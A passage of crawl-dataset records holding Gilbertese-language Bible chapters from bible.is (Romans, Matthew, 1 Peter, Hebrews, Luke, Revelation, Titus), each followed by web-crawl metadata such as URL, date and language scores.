e boni ngae ngke iai i nanou kani karaoan te raoiroi, ma I aki kona ni karaoia. 19B'a te raoiroi ae I kani karaoia ao I aki karaoia; ma te buakaka ae I aki kani karaoia ao I karaoia. 20Ma ngkana I karaoa ae I aki kani karaoia, ao ai tiaki ngai ae I karaoia, ma e karaoia te bure ae maeka i nanou. 21I a kunea ngkanne te tua aei: b'a ngkana I kani karaoa ae e raoiroi, ao iai naba i nanou te kani karaoa ae buakaka. 22B'a e on nanou n te kukurei n ana Tua te Atua; 23ma I nora te tua ae kaokoro ae m'akuri i nanoni b'ain rab'atau, ae te tua ae buakana tuan nanou, ao e tauai b'a te bure ngai nakon tuan te bure ae i nanoni b'ain rab'atau. 24Te aomata ae kananoanga ngai! Ai antai ae na kamaiuai man te rab'ata aei ae uotai nakon te mate? 25E na katituaraoaki te Atua iroun Iesu Kristo are ara UEA! Ma ngaia ae aio ngkanne arou: b'a I toro iroun ana tua te Atua n nanou, ao rab'atau e toro iroun ana tua te bure.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/7","date":"2016-09-25T15:01:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738660214.50\/warc\/CC-MAIN-20160924173740-00040-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":764,"character_repetition_ratio":0.058,"word_repetition_ratio":0.019,"special_characters_ratio":0.267,"stopwords_ratio":0.457,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia aei, taari, i bukin aron te Atua n nanoanga ae bati, ao I bubutingkami b'a kam na angan te Atua rab'atami b'a te karea ae maiu ae itiaki, ae E na kukurei iai; b'a aei aromi ae riai ae E kaantaningaia te Atua b'a kam na anganna. 2Tai katotonga aroni katein te maiu aei; ma a na bitaki tein ami iango man are kam tataneiai iai, b'a kam aonga n ata raoi aroni karaoan te bae e raoiroi ma ni kakukurei nakon te Atua. 3I bukin te akoaki are I anganaki, ao aei au taeka nakoimi n tatabemaningkami nako: e na tai iango temanna i nanona ni kamoamoa i bon i rouna i aon ae riai; ma e na b'aina te iango raoi, ao e na kaetieta arona ma aron te onimaki are E a tia te Atua n tib'aia nakoia aomata nako. 4B'a ngkai a bati b'ain te rab'ata ae ti teuana, ao ngkai a kakaokoro aroia ni m'akuri. 5Ao ai arora naba: b'a e ngae ngke ti bati, ma te rab'ata ngaira ae ti teuana i nanoni Kristo, ao ti bane n reitaki temanna ma temanna n arora aika kakaokoro b'a b'ain te rab'ata ae ti teuana. 6Ma ngaia ae ti na kamanenai b'aai n tituaraoi aika kakaokoro ake ti anganaki n tatabemaniira nako mairoun te Atua n ai aron nanona n akoi: ngkana ti anganaki te kona n taetae ni burabeti, ao ti na taetae ni burabeti, n aki tibanako ma ara onimaki are iai iroura. 7Ngkana te kona n i buobuoki, ao ti na i buobuoki; ao ngkana te kona n reirei ao ti na reirei. 8Ngkana te kona ni kaungaa, ao ti na kaungaia aomata; ngkana te kona ni buokanib'ai, ao ti na i buokanib'ai ma te nanoraoi; ngkana te kona ni kairiri, ao ti na karaoia nakon ara kabanea n tamaroa; ao ngkana ti kona ni karaoa te m'akuri n nanoanga nakoia aomata, ao ti na karaoia ma te nano ni kukurei. 9Tai m'am'anaa te aba n ami tangira. Riba te buakaka, ao nim ma te raoiroi. 10Kam na i tangitangiri n ai aroia taari, ao tai tab'ara ni kaota aron te ikarinerine. 11A na aki b'ara nanomi man te baere kam uaiakinna; kamatoai angin nanomi; tooro iroun te UEA. 12E na reke iroumi te kim'areirei n ami kaantaninga; b'aina te taotaonaki n nano i buakon te rawawata, ao b'aina te tataro n taai nako. 13Kam na anga ami b'ai nakoia ake a itiaki b'a buokani kain nanoia, ao kam na butim'aia n akoia ni mwengami. 14Kam na taetae ni kakab'aiaia akana b'ainikiriningkami; taetae ni kakab'aiaia, ao tai atongi taeka aika a na reke kaiia iai. 15Kam na kim'areirei ma akana kim'areirei; kam na tang ma akana tang. 16Kam na kabobo nanomi. Tai b'aina te nano ni kani kakannato riki nakoia tem'angina, ma kam na kukurei n i raorao ma akana mangori. Tai iangoingkami b'a kam wanawana. 17Tai karaoa ae buakaka nakon te aomata ae karaoa ae buakaka nako im, ma karaoi baika raraoi i mataia aomata nako. 18Ngkana kam kona, ao karaoi b'aai ni kabane aika kam na kona iai ni maeka n rau ma aomata ni kabaneia. 19Ngkami aika kam tangiraki, tai iri taangami; E na karaoia te Atua; b'a e koreaki ae kaangai: E taku te UEA, \"Au b'ai te irantaanga, N na kabobo Ngai.\" 20Ma kam na karaoa are taekinaki ni kaangai: \"Ngkana e kan am'arake te tia ribaiko, ao kaam'arakea; ao ngkana e kani moi, ao kamoiia; b'a ngkana arom anne, ao ai aron ae ko ikoikoti m'akaron te ai i aon atuna iai.\" 21Tai taenikai n te buakaka, ma kam na kataea ana kai te buakaka n te raoiroi.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/12","date":"2016-09-25T13:18:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738660208.2\/warc\/CC-MAIN-20160924173740-00086-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":614,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.415,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1E taetae ngkanne Iesu nakoia aomata aika m'aiti ao nakoia ana reirei, ni kangai: 2A onea mwini Moote n nakoana taani koroboki ma B'aritaio; 3ma ngaia ae kam na kawakini baikana a tuangngkami ao karaoi, ma tai kakairi i rouia n aia m'akuri: b'a a reireingkami baika kam na karaoi, ma a aki kona ni karaoi ngaiia. 4A kabaei uota aika rawawata, ao a kaki i aon angaia aomata; ma ngaiia a rawa ni kani kam'aing n tabonibaia naba teaina. 5A karaoi aia m'akuri ni kabane b'a a aonga n noraki irouia aomata: a karababai aia burakitere, ao a kam'arairai riki rabini kunnikaia! 6A tangiri taabo n tekateka aika nneia aomata aika karineaki n tain te am'arake ni baka, ao kaintekateka ake mai moa i nanoni taian tinekaoki. 7A tangiria b'a a na kamauraki n te aro ni karinerine n taabo ni m'akete, ao b'a a na atongaki irouia aomata b'a taan reirei. 8Ma ngkami, kam na aki atongaki b'a 'Taan Reirei', b'a ti temanna ami Tia Reirei, ao taari ngkami ni kabaneingkami. 9Ao tai atonga te aomata temanna i aon te aba b'a tamami, b'a ti temanna Tamami b'a Teuare i karawa. 10Ao kam na tai atongaki b'a mataniwi, b'a ti temanna ami Mataniwi b'a te Kristo. 11Ane moanibaan te kakannato i buakomi ao e na riki b'a ami tabonibai; 12ane karietata ao e na kamangoraki, ao ane kamangoria ao e na karietataki. 13Ma a na reke kaimi, taani koroboki ma B'aritaio, aika taani m'am'ana-te-aba! B'a kam kaina mataroan Uean te Atua nakoia aomata; ao ngkami kam aki rin, ao kam tukiia akana kan rin iai. 14A na reke kaimi, taani koroboki ma B'aritaio, aika taani m'am'ana-te-aba! B'a kam kurib'ai aia auti aine, ao kam kaananau ami tataro b'a kam aonga n taraaki iai; ma ngaia ae kam na anganaki tuaami ae korakora riki. 15A na reke kaimi, taani koroboki ma B'aritaio, aika taani m'am'ana-te-aba! B'a kam ri nanoni marawa ao kam ri aon te aba b'a kam na anaa nanon te aomata nakon ami koaua; ao ngkana e reke, ao kam karaoa ae e na reke iai uoua aron taun teuanne n riki b'a kaaini Keenna n ai aromi. 16A na reke kaimi taani kairiri aika kam mataki, aika kam kangai, Ngkana e m'anewea aran te um'antabu te aomata b'a te b'ai ni kakoaua ngkana e taetae n tuea, ao e aki bae iai; ma ngkana e m'anewea aran te koora are b'ain nanon te um'antabu, ao e bae iai. 17Te koraki ni baba aika mataki! B'a e nga ae kakawaki riki, te koora ke te um'antabu are ngaia ae karekea ae e na riki n tabu iai te koora? 18Ao kam kangai naba: Ngkana e m'anewea aran te baonikarea te aomata b'a te b'ai ni kakoaua ngkana e taetae n tuea, ao e aki bae n ana taeka anne; ma ngkana e m'anewea aran te karea ane i aona ngkana e taetae n tuea, ao e bae iai. 19Aomata ngkami aika kam mataki! B'a e nga ae kakawaki riki, te karea ke te baonikarea are ngaia ae e riki n tabu iai te karea? 20Ma ngaia aei, b'a ngkana e taetae n tuea te aomata ao e m'anewea aran te baonikarea, ao e taetae n tuea n te baonikarea ma karea nako akana mena i aona. 21Ao ane m'anewea aran te um'antabu b'a te b'ai ni kakoaua ngkana e taetae n tuea, ao e taetae n tuea n te um'antabu ao iroun Teuare maeka i nanona; 22ao ane m'anewea arani karawa b'a te b'ai ni kakoaua ngkana e taetae n tuea, ao e taetae n tuea n ana kaintokanuea te Atua, ao iroun naba Teuare tekateka i aona. 23A na reke kaimi, taani koroboki ma B'aritaio, aika taani m'am'ana-te-aba! B'a kam angaanga teuana te katebwina ni m'akoro mani m'aitin ami b'ai are te minte ma te aneto, ma te kumino, ao kam katiku taekani b'aai aika kakannato n taekan te Tua, n ai aron te kaeti raoi taekani b'aai, ma te nanoanga, ma te kakaonimaki nakon ana kaantaninga te Atua. 24Taani kairiri aika kam mataki! Kam raumea te manibeti, ao kam oonga te kamero. 25A na reke kaimi, taani koroboki ma B'aritaio, aika taani m'am'ana-te-aba! B'a kam kaitiaka akuun te m'angko ma te raurau, ma a on nanoia n am'arake ma ninima aika reke n te aro n iowawa ma ni kani b'aib'ai. 26Te B'aritaio ae ko mataki, kaitiaka moa nanon te m'angko, ao ane na itiaki naba tinanikuna. 27A na reke kaimi, taani koroboki ma B'aritaio, aika taani m'am'ana-te-aba! B'a ai aron ruua ni mate aika kamainainaki ngkami; a tara n tamaroa mai tinanikuia, ma a on nanoia n riia maate ma baika mka n aekaia nako. 28Ao ai aromi naba, b'a kam tara n raoiroi nakoia aomata mai tinanikumi, ma a on nanomi n te m'am'ana-te-aba ma te buakaka. 29A na reke kaimi, taani koroboki ma B'aritaio, aika taani m'am'ana-te-aba! B'a kam karaoi ruani mateia burabeti, ao kam katamaroai aon ruani mateia aomata ake a raoiroi; 30ao kam kangai, Ngke tao ti maiu n aia bong ara bakatibu, ao ti na bon aki raoniia ni kamateia burabeti. 31Ma ngaia ae kam boni kaotioti i bukimi b'a kam riki mairouia ake a kamateia burabeti. 32Kam na waki ni katia te baere a tia ni moana karaoana ami bakatibu. 33Ngkami aika naeta, aika buniia naeta aika kamamate, kam na kanga ni kamaiungkami mani motikan taekami are kam na karawawataki iai i Keenna? 34Ma ngaia ae N na kanakoia burabeti, ma aomata aika rabakau, ma taani koroboki nako imi: ao ane kam na kamateia tem'angina, ao kam na tauriia tem'angina ni kaibangaki; ao ane kam na kataereia tem'angina i nanoni m'aneabami, ao kam na kakioia nako man te kawa teuana nakon te kawa teuana. 35Anne bukin ae kam na bukinaki iai i bukini mateia aomata ake a raoiroi i aon te aba, mairoun Abera ni karokoa natini Barakia are Tekaria, are tiringaki i roumi i marenan te um'antabu ma te baonikarea. 36E koaua ae I a tuangngkami b'a a na bane n roko baikai i aon te roro aei. 37Ierutarem, Ierutarem, ae ko kamamateia burabeti, ae ko karebanaia ake a kanakomaiakaki nako im, ai bati ra au kani bobotiia am aomata, n ai aron te moa aine ngkana e botiia bunna i aani baina, ma kam rawa! 38Noria, e nang kitanaki ami um'antabu, ao a nang akea kaaina. 39B'a I taku nako imi b'a kam na aki manga norai ni karokoa kam kangai, \"E na karaoiroaki Teuare nako mai n aran te Uea.\"\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/23","date":"2016-09-24T21:37:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738659496.36\/warc\/CC-MAIN-20160924173739-00208-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":1086,"character_repetition_ratio":0.089,"word_repetition_ratio":0.051,"special_characters_ratio":0.243,"stopwords_ratio":0.368,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mairouni Betero, ae ana tia tuatua Iesu Kristo, nakoia akana rineaki akana iruwa akana uamaae i Bonto, ao i Karatia, ao i Kabatokia, ao i Atia, ao i Bitunia, 2akana rineaki n ai aron nanon ma ana baire ma ngkoangkoa te Atua ae te Tama, ao a katabuaki maiuia iroun te Tamnei b'a ana b'ai te Atua, b'a kam na ongeaba iroun Iesu Kristo ma ni kaitiakaki n raraana. A na kabatiaki nakoimi te akoi ma te raoi. 3E na karaoiroaki te Atua ae Taman ara Uea are Iesu Kristo, b'a man ana nanoanga ae bati ao ti a anganaki te maiu ae boou ma te kaantaninga ae nene ni manga-utin Iesu Kristo man te mate; 4b'a a aonga n reke b'aai aika kawakinaki i bukira, aika b'aai aika aki kona ni mka, aika aki kam'ara, aika aki kona n rai, aika kawakinaki i karawa i bukimi, 5ngkami aika kam kawakinaki ni m'aakan te Atua n te onimaki, i bukin te kamaiuaki ae e tauraoi ni kaotaki n te kabanea n tai. 6Kam na kim'areirei n te baei, e boni ngae n riai iroumi b'a kam na rawawata i nanon tabeua te tai i bukini kataakimi aika bati aroia; 7b'a e aonga n riki kataan ami onimaki, ae kakawaki riki nakon te koora ae kai mauna are e boni kataaki naba n te ai b'a ua ra, b'a kamoamoami ma neboami ma karineami ngkana E a manga oki Iesu Kristo, 8are kam tuai n noria, ma kam tangiria naba; are kam aki noria ngkai, ma kam onimakinna naba, ao kam kim'areirei n te kim'areirei ae rangi ni bati ae aki konaaki ni kab'araki arona n taian taeka; 9ao e reke iroumi mwin ami onimaki, ae kamaiuani maiumi. 10Ao burabeti ake a taetae ni burabeti i bukin te akoi are na riki b'a ami b'ai a kakorakoraia n ukoukora ma n nenera aron te kamaiu aei. 11A kataia ni kakaaea b'a antai te aomata, ao te tai ra ake a kaotaki iroun Tamnein Kristo are mena i nanoia ngke E taekini baikai i m'ain rikiia, aika marakini Kristo ake E na taonaki iai, ao te neboaki are E na b'ainna i mwini maraki akanne. 12E kaotaki nakoia burabeti akanne b'a a aki taekini baikai i bukiia, ma a taekin i bukimi, aika baika taekinaki ngkai nakoimi irouia ake a tuangngkami te euangkerio iroun te Tamnei are Raoiroi are kanakomaiakaki mai karawa; aika baika a kan atai naba anera. 13Ma ngaia ae kam na tatauraoi n ami iango nako; kam na kamarurungngkami, ao kam na teimatoa ni kaantaninga te akoi are na uotaki nakoimi ngkana E a manga oki Iesu Kristo. 14Ngkai naati aika ongeaba ngkami, ao a na tai kairaki maiumi n iangoan nanomi aika bubuaka ake iai iroumi ngkoa ngke kam roo n nano; 15ma kam na itiaki n aroaromi ni maeka ni kabane i matan te Atua, ni kakairi iroun Teuare itiaki are weteingkami. 16B'a e koreaki ae kaangai, \"Kam na itiaki b'a I itiaki Ngai.\" 17Ao ngkana kam atonga Teuare motiki taekaia aomata nako b'a Tamami n ami tataro, are Teuare aki nanonano b'a E motika taekan te aomata ni kaeti ma aron te baere e karaoia, ao kam na kabane ami bongi ni maiu i aon te aba aei ni maku. 18Kam ataingkami b'a kam aki kainaomataki ni baika kai mauna, ae te tirewa ma te koora, man aromi nikawai ae akea manenana, ae kam anganaki mairouia ami bakatibu; 19ma kam kainaomataki n te raraa ae kakawaki ae raraani Kristo, are kanga ai aron te tiibuteteei ae akea buakakana ao akea baarekana. 20E a kaman rineaki n ai aron nanon ma ana baire ma ngkoangkoa te Atua ngke a tuai ni karikaki b'aai, ma E a kaotaki ni boong aikai aika kabaneani boong i bukimi, 21ngkami akana kam onimakina te Atua i rouna, ae E a manga kamaiua mai buakoia maate, ao E anganna te neboaki; b'a a aonga n tiku ami onimaki ma ami kaantaninga iroun te Atua. 22Ngkai kam a tia ni kaitiaki maiumi n ami ongeaba nakon te koaua, ao kam a tia ni b'aina te tangira ni koaua i bukiia raomi ni Kristian, ao kam na kakorakoraingkami n i tangitangiri ma nanomi ni koaua. 23B'a n ana taeka te Atua, ae te taeka ae maiu ae teimatoa, ao ai aron ae kam a manga bungiaki, tiaki mairoun te karo ae mamate, ma mairoun te karo ae aki mamate. 24B'a e kaangai te B'aib'ara: \"Kanga te uteute aomata ni kabaneia, ao tamaroaia ni bane kanga ai aron ueen te uteute. E rai te uteute, ao e b'aka te uee, 25ma ana taeka te Uea e teimatoa n aki toki.\" Ao te taeka aei bon te euangkerio ae tataekinaki nakoimi.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/1Pet\/1","date":"2016-09-27T09:30:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738660996.20\/warc\/CC-MAIN-20160924173740-00055-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":786,"character_repetition_ratio":0.042,"word_repetition_ratio":0.008,"special_characters_ratio":0.231,"stopwords_ratio":0.401,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia ae ngaira, ngkai iai taani kakoaua aika rangi ni bati aika otab'aninira, ao ti na kaki b'aai nako aika katinebuira, ma te bure ae nimnimtira, ao ti na biri ma te nanokorakora n te kabobirim'aka ae kamenaki i m'aira; 2ao ti na tarataraa Iesu are te tia kariki ara onimaki, ao te tia kakoroa; are E taona nanona nakon te kaibangaki, n aki mutiakina kamaamaeana, i bukin te kim'areirei are kamenaki i m'aina; ao E tekateka i angaatain ana kaintokanuea te Atua. 3Kam na iangoa aron Teuare taotaona nanona nakon ribakina ae bati irouia taani bure, b'a a aonga n aki b'ara ma n toki nanomi. 4B'a n ami buaka are kam kaitaraa iai ma te bure, ao akea i roumi ae e mate. 5Kam a tia ni m'aninga te taeka ni kaunga nano nako imi ngkai naati ngkami, are e kangai: \"Natiu, ko na m'annanoa reireiam iroun te Uea i bukini kaetan arom; Ao e na tai toki nanom ngkana ko boaaki i Rouna. 6B'a ane E tangiria te Uea ao E reireia kaetan arona, ao E kataereia natina ni kabaneia aika E m'aneia n akoia.\" 7Kam na taotaon nanomi nakon reireiami i bukini kaetan aromi; b'a te bae karaoaki nako imi bon aron te Atua n tabeakiningkami ngkai naati ngkami. B'a antai te nati ae na aki reireiaki i bukini kaetan arona iroun tamana? 8A bane n reireiaki naati i bukini kaetan aroia; ma ngkana kam aki reireiaki, ao bon natintam'a iai ngkami, ao tiaki naati ni koaua. 9I rarikin aei, bon iai tamara aika taman rab'atara, aika reireira ni kaeti arora, ao ti karineia; ao tiaki e raoiroi riki b'a ti na anga ngaira nakon Taman tamneira, ao ti na maiu? 10A reireiniira ni kaeti arora tamara aika taman rab'atara i nanon tabe bong n ai aron are a taku b'a e raoiroi i roura; ma te Atua E reireiniira b'a e bongana i bukira, b'a ti aonga ni buokanib'ai ni maiuna ae itiaki man te bure. 11Reirei ni kabane ngkai i bukini kaetan aroia aomata a tara n tiaki te b'ai ni kakim'areirei, ma a tara ni b'ai ni kananokawaki. Ma rimwi, ao te koraki ake a tia ni kataneiaki iai a na anaa mwina ae te maiu ae rau ae kakaraoa nanon te Atua. 12Ma ngaia ae kam na karekei angini baimi akana kainikamate, ma waemi akana a mamara bubuaia, 13ao nakonako i aoni kawai aika eti, b'a e aonga n aki tiba nako toman riin te bubua ni wae are mamara, ma e na riki ni marurung iai. 14Kam na keiaki n raoi ma aomata ni kabaneia, ma n tabui maiumi b'a a na b'ai te Atua; b'a ngkana akea aei ao e aki kona te aomata n nora te Uea. 15Kam na tarataraingkami b'a e kawa temanna ni b'aka man te akoaki iroun te Atua, ao b'a e kawa n riki b'a kanga ai aron te wakaa ae mao ni kakiriweingkami, ao a na kam'araeaki iai aomata aika bati. 16E na aki riki temanna b'a te tia wene ni bure, ke te tia kam'arai baika tabu aika ana b'ai te Atua, n ai aron Etau are anga nako baika kakawaki n reitaki ma arona ni karimoa i bukin te am'arake ae ti teuana taina ni kanaki. 17Kam ataia b'a i mwina, ngke e kani karekea ana taeka ni kakab'aia tamana, ao e ribaki; b'a akea te anga ae e na kona iai ni bita aron are e a tia ni karaoia, e boni ngae ngke e ukoukoria ma te tang. 18B'a kam tuai roko ni kaania te maunga are konaki n riingaki are e ura iai te ai; ao kam tuai ni kaania naba te baere roroo ma te baere rotongitong ma te ang are te ukeukenanti, 19ma tangin te bu ma b'anaan te taeka. Ngke a ongo aomata te b'ana ao a bubuti b'a e na tai atongaki riki te taeka teuana nako ia. 20B'a a aki kona n taon nanoia nakon are a tuangaki iai, are kangai, \"Ngkana tao e bo ma rarikin te maunga arei te man, ao e na karebanaki ni kamateaki.\" 21Ao moan te kakamaaku norana, ma ngaia are e kangai Moote, \"I bati ni maaku ma n ruru.\" 22Ma kam kaania te maunga are Tion ma ana kawa te Atua ae maiu, are Ierutarem are i karawa, ma anera aika ngaa ma ngaa, 23ma aia botaki taan onimaki ake naati ake kanga ai aroia moan nati, aika a koreaki araia i karawa; ao kam kaania naba te Atua ae te tia motiki taekaia aomata ni kabaneia, ao kam kaaniia naba tamneia aomata ake a b'ab'aina te eti, ake a tia ni karaoaki b'a a na kororaoi aroia n reitaki ma nanon te Atua. 24Ao kam kaania Iesu, are Ngaia ae e reke mai Rouna te boraraoi ae boou, n raraana are katimtim'aki, are kaota te bae raoiroi riki nakon are e taekinna Abera. 25Kam na tarataraingkami b'a kam na aki rawa nakon Teuare taetae. B'a ngke a aki kona n rawei maiuia ake a rawa nakon Teuare taetae i aon te aba, ao ti bon aki kona n rawei maiura ngaira aikai ngkana ti tan nako mairoun Teuare taetae mai karawa! 26are e kam'aeieia te aba b'anaana n te tai arei, ao E taetae ngkai ni kangai, \"Ai ti teuana riki kam'aeieian tiaki ti aonnaba i Rou, ma kam'aeieian naba karawa.\" 27Ao te taeka ae kangai, Ti teuana riki, e kaota kamaunaani baike a kam'aeieiaki b'a kanga baika karaoaki, b'a a aonga n teimatoa n tiku baike a aki konaki ni kam'aeieiaki. 28Ma ngaia aei, ngkae e a reke i roura te abanuea ae aki konaki ni kam'aeieiaki, ao ti riai ni kaitau ma n taromauria te Atua n te aro ae E na kukurei iai, ao ni kaota te karinerine ma te maaku; 29b'a Atuara ai aron te ai ae kamamate.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/12","date":"2016-09-30T12:40:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738662166.99\/warc\/CC-MAIN-20160924173742-00150-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":978,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.416,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 7:4747Ma ngaia ae I tuangko b'a e bati ana tangira i bukina ngkai a kab'araki ana bure aika bati; ma ane aki bati ana bure ni kab'araki, ao e aki bati ana tangira.\" Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/7\/47","date":"2016-09-27T09:37:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738660996.20\/warc\/CC-MAIN-20160924173740-00068-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":0.9998337626,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"gil_Latn_score\": 0.9998337626457214}","num_words":49,"character_repetition_ratio":0.124,"word_repetition_ratio":0.0,"special_characters_ratio":0.26,"stopwords_ratio":0.347,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao I nora te anera temanna b'a e ruo mai karawa, ao e taua i nanoni baina te taurekereke ae buubura, ma kingin Abuto. 2- 3E taua te rakon, are te naeta nikawai, are te riaboro are Tatan; ao e kabaea n te taurekereke ao e tewea nako Abuto, ao e kaina mataroana ao e kanikinaea aona b'a e aonga n aki kaukaki. E na tiku ikekei i nanon teuana tengaa te ririki, b'a e aonga n aki manga m'am'anaia botannaomata nako. E na boni kainaomataki rimwi, ma e na aki maan ana tai n inaomata. 4Ao I noori kaintokanuea ma ake a tekateka i aoia b'a a anganaki te kona ni motiki taeka: bon aomataia ni koaua te koraki ake a tia ni mate ngke a kabakuaki i bukin tataekinan te koaua are E kaotiotia Iesu, ao i bukin tataekinan ana taeka te Atua. A aki taromauria te man are tiritiri, ao a aki taromauria naba te bouananti are katotongana; a aki kanikinaeaki ram'aia ma baiia n ana kanikina te man arei; ao a maiu, ma n uea ma te Kristo tengaa te ririki. 5(Ao maate ake nikira a aki maiu ni karokoa a koro ririki ake tengaa). Aei te moa ni manga-maiu. 6E a kab'aia ane e reke nena n te moa ni manga-maiu; bon ana aomata ni koaua te Atua. Akea m'aakan te mate are te kauoua i aoia aomata aika ai aroia aikai: a na riki b'a ana ibonga te Atua ma Kristo, ao a na uea ma Ngaia tengaa te ririki. 7Ao ngkana a koro ririki ake tengaa, ao e na kab'araki Tatan man te tabo are e kainaki iai, 8ao e na nako ni m'am'anaia botannaomata nako ake a mena i aon aaba ni kabane, ake botannaomata ake Koka ma Makoka E na botiia i bukin te buaka; ao m'aitiia ai aroni m'aitin tanon te bike. 9Ao a nako ni kabuta aon te aba, ao a otab'aninia neia ni maeka n rianna te koraki ake a itiaki, ma te kaawa are tangiraki; ao e b'aka te ai mai karawa, ao e kabuokiia ni kamaunaia. 10Ao te riaboro are e m'am'anaia e a teweaki nako n te nama are te ai ma te burimton, ike e mena naba iai te man are tiritiri ma te burabeti ni kewe; ao a na kamarakaki ni ngaina ao ni bong n aki totoki. 11Ao I nora te kaintokanuea ae ab'ab'aki ae mainaina, ma Teuare tekateka i aona. A biri nako aonnaba ma karawa mai Rouna, ma akea te tabo ae a na nako iai. 12Ao I nooriia maate, ake te koraki ake a kakannato ma ake a mangori, b'a a tei i nanoaan te kaintokanuea; ao a kaukaki nira ni boki. E kaukaki naba te nira ni boki teuana, ae bokin te maiu. Ao a motikaki taekaia maate ni kaeti ma baike a tia ni karaoi, n ai aron taekaia ake a koreaki n taian nira ni boki akekei. 13Ao marawa e anga maate ake i nanona; te Mate ma Eriti a anga naba maate ake i nanoia; ao a bane maate aikai ni motikaki taekaia ni kaeti ma baike a tia ni karaoi. 14Ao te Mate ma Eriti a teweaki nako nanon te nama are te ai. (Aei te mate are te kauoua, ae te nama are te ai.) 15Ao ngkana iai ae ataaki b'a akea arana ni bokin te maiu, ao e teweaki nako nanon te nama are te ai.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/20","date":"2016-09-29T05:49:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738661778.39\/warc\/CC-MAIN-20160924173741-00261-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":574,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.467,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngkoe, ko na taekini baika kanoan te reirei ni koaua. 2Ko na taetae n reireiia unimm'aane b'a a na tau baangiia, a na tau b'aai ma nanoia, a na iango raoi, a na nako raoi n aia onimaki, ma aia tangira, ao n aia taotaonaki n nano. 3Ao ai aroia naba unaine, ko na taetae n reireiia b'a a na b'aina te maiu ae iai karinean te Atua iai; a na tai winanti, a na tai toronaki n te kamanging; ma a na riki b'a taan reirei baika raraoi: 4b'a a na reireiia ateiaine b'a a na tangiriia buia, ao b'a a na tangiriia naba natiia; 5a na iango raoi, a na itiaki, a na m'am'akuri ni mwengaia, a na raoiroi aroia nakoia aomata, ao a na aantaeka irouia oini buia, b'a e kawa ni kabuakakaki ana taeka te Atua. 6Ao ai arona naba b'a ko na kaungai nanoia rorobuaka b'a a na iango raoi. 7Ko na kaotiko ni b'aai ni kabane b'a te banna ni kakairi n arom ni m'akuri aika raoiroi; ko na b'aina te eti ma te nano ni koaua ngkana ko anga reirei, 8ao kamanenai taeka aika oin taeka aika a na aki konaki ni kabuakakaki; b'a e aonga ni mamaa te kairiribai iai, ngkai akea te bae buakaka ae e na taekinira iai. 9A na aantaeka tooro irouia aia toka ao a na kakukureia ni b'aai ni kabane; a na tai kauntaeka nako ia; 10ke n iraei aia b'ai; ma a na kaotiia b'a iai onimakinaia ni koaua, ao n te aro aei a katamaroa te reirei i bukin taekan te Atua are ara Tia Kamaiu n aroia nako. 11B'a E a tia te Atua ni kaota ana akoi i bukini kamaiuaia aomata ni kabaneia. 12Te akoi anne are reireira b'a ti na rawa nakon te maiu are akea karinean te Atua iai ma te maiu n tangiri b'ain aon te aba, ao 